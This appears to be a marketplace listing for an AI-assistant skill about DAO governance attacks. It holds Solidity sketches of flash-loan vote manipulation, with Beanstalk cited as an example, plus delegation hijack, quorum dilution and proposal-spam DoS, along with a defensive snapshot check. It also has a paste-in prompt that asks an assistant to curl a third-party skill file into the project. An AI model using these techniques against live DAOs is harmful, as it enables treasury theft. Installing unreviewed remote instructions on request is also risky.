AI SummaryDAOs that grant voting power = current token balance (not snapshot of past balance) are vulnerable: This is what happened to Beanstalk (April 2022, $182M loss) — attacker flash-borrowed Beanstalk gov tokens, voted to drain the treasury, repaid the loan. Same block. ERC20Votes lets users delegate. If
Install
Copy this and paste it into Claude Code, Cursor, or any AI assistant:
I want to install the "contracts-governance-attack" skill in my project. Please run this command in my terminal: # Install skill into your project mkdir -p .claude/skills/governance-attack && curl --retry 3 --retry-delay 2 --retry-all-errors -o .claude/skills/governance-attack/SKILL.md "https://raw.githubusercontent.com/PurpleAILAB/Decepticon/main/packages/decepticon/decepticon/skills/standard/contracts/governance-attack/SKILL.md" Then restart Claude Code (or reload the window in Cursor) so the skill is picked up.
Description
DAO governance attack — flash-loan-backed vote manipulation, delegation hijack, quorum dilution, proposal-spam DoS, time-lock bypass via emergency multisig, snapshot vs. on-chain vote desync, Compound/Aave/Uniswap-style GovernorBravo abuse.
1. Flash-loan-backed vote
DAOs that grant voting power = current token balance (not snapshot of past balance) are vulnerable: `solidity // Attack: borrow governance token, vote, return loan, all in one tx function attack() external { // 1. Flash-borrow gov tokens IFlashLoan(aave).flashLoan(address(this), govToken, 1_000_000e18, ""); } function executeOperation(...) external { // 2. Vote on the malicious proposal governor.castVote(proposalId, 1); // 1 = for // 3. Repay loan + premium (automatic by flash-loan callback) } ` This is what happened to Beanstalk (April 2022, $182M loss) — attacker flash-borrowed Beanstalk gov tokens, voted to drain the treasury, repaid the loan. Same block. Defense check: Does getVotes(address, blockNumber) reference a past snapshot? If yes (Compound's GovernorBravo pattern, OZ Governor with ERC20Votes + getPastVotes), flash-loan vote doesn't work.
2. Delegation hijack
ERC20Votes lets users delegate. If a contract holds gov tokens and delegates to itself, controlling that contract = controlling the votes. `solidity // If the target DAO has a contract holding tokens that delegates to itself, // and that contract is upgradeable/has an admin function: upgradeableContract.upgradeAndCall(newImpl, abi.encodeWithSelector(redelegate.selector, attacker)); // Now attacker controls those votes. `
3. Quorum dilution attack
If quorum = % of total supply (not % of currently-active voters), an attacker can mint or stake extra tokens to push quorum out of reach: `solidity // Some DAOs base quorum on totalSupply() // Attacker mints a bunch of tokens to themselves (via legit minting if they're holder) // Quorum requirement now too high for real voters to meet → all proposals fail `
4. Proposal spam DoS
GovernorBravo has a proposalThreshold. If low, attacker spams proposals to: • Burn proposers' gas • Confuse the UI • Push real proposals out of the active window
Discussion
Health Signals
My Fox Den
Community Rating
Sign in to rate this booster